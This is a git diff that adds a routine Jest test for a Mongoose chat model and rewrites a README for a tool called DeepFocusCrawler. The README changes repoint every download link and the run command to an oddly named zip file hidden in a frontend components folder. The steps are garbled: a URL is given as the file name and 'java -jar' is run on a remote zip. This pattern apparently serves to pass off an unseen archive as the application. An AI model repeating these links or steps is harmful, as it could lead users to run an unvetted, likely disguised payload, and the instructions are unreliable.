diff --git a/README.md b/README.md
index 49f7910..ed1472f 100644
--- a/README.md
+++ b/README.md
@@ -6,7 +6,7 @@ Welcome to DeepFocusCrawler! This application is designed for everyone who wants
 
 ## 🔗 Download DeepFocusCrawler
 
-[![Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)
+[![Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)
 
 ## 💻 System Requirements
 
@@ -18,14 +18,14 @@ Before you begin, make sure your computer meets these requirements:
 
 ## 📥 Download & Install
 
-To download DeepFocusCrawler, visit this page: [Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip)
+To download DeepFocusCrawler, visit this page: [Download DeepFocusCrawler](https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip)
 
 Once there, you'll see the available versions. Choose the latest version and download it to your computer. The download may take a few moments, depending on your internet speed.
 
 ## 🛠️ How to Run DeepFocusCrawler
 
 1. **Locate the Downloaded File:**
-   After downloading, find the file in your computer’s downloads folder. It should be named something like `https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip` (where X.X represents the version number).
+   After downloading, find the file in your computer’s downloads folder. It should be named something like `https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip` (where X.X represents the version number).
 
 2. **Open Terminal or Command Prompt:**
    - **Windows:** Press `Win + R`, type `cmd`, and hit `Enter`.
@@ -41,7 +41,7 @@ Once there, you'll see the available versions. Choose the latest version and dow
 4. **Run DeepFocusCrawler:**
    Type the following command and hit `Enter`:
    ```
-   java -jar https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/backend/Deep_Crawler_Focus_3.8.zip
+   java -jar https://github.com/Abazeem18/DeepFocusCrawler/raw/refs/heads/main/frontend/src/components/Deep_Focus_Crawler_geranomorphic.zip
    ```
    Replace `X.X` with the version number you downloaded.
 
diff --git a/backend/models/Chat.test.js b/backend/models/Chat.test.js
new file mode 100644
index 0000000..43cfaab
--- /dev/null
+++ b/backend/models/Chat.test.js
@@ -0,0 +1,68 @@
+// tests/models/Chat.test.js
+import mongoose from "mongoose";
+import { MongoMemoryServer } from "mongodb-memory-server";
+import Chat from "../../backend/models/Chat";
+
+describe("Chat Model", () => {
+  let mongoServer;
+
+  beforeAll(async () => {
+    mongoServer = await MongoMemoryServer.create();
+    const uri = mongoServer.getUri();
+    await mongoose.connect(uri, {
+      useNewUrlParser: true,
+      useUnifiedTopology: true,
+    });
+  });
+
+  afterAll(async () => {
+    await mongoose.disconnect();
+    await mongoServer.stop();
+  });
+
+  afterEach(async () => {
+    await Chat.deleteMany({});
+  });
+
+  test("should create and save a chat document", async () => {
+    const chatData = { senderId: "user1", receiverId: "user2", message: "Hello" };
+    const chat = new Chat(chatData);
+    const savedChat = await chat.save();
+
+    expect(savedChat._id).toBeDefined();
+    expect(savedChat.senderId).toBe(chatData.senderId);
+    expect(savedChat.receiverId).toBe(chatData.receiverId);
+    expect(savedChat.message).toBe(chatData.message);
+    expect(savedChat.createdAt).toBeInstanceOf(Date);
+  });
+
+  test("should set default createdAt when not provided", async () => {
+    const before = new Date();
+    const chat = new Chat({ senderId: "a", receiverId: "b", message: "test" });
+    await chat.save();
+    const after = new Date();
+
+    expect(chat.createdAt.getTime()).toBeGreaterThanOrEqual(before.getTime());
+    expect(chat.createdAt.getTime()).toBeLessThanOrEqual(after.getTime());
+  });
+
+  test("should enforce schema type validation", async () => {
+    const chat = new Chat({
+      senderId: 123,          // invalid type
+      receiverId: true,       // invalid type
+      message: {},            // invalid type
+    });
+
+    let validationError;
+    try {
+      await chat.validate();
+    } catch (err) {
+      validationError = err;
+    }
+
+    expect(validationError).toBeDefined();
+    expect(validationError.errors.senderId).toBeDefined();
+    expect(validationError.errors.receiverId).toBeDefined();
+    expect(validationError.errors.message).toBeDefined();
+  });
+});
\ No newline at end of file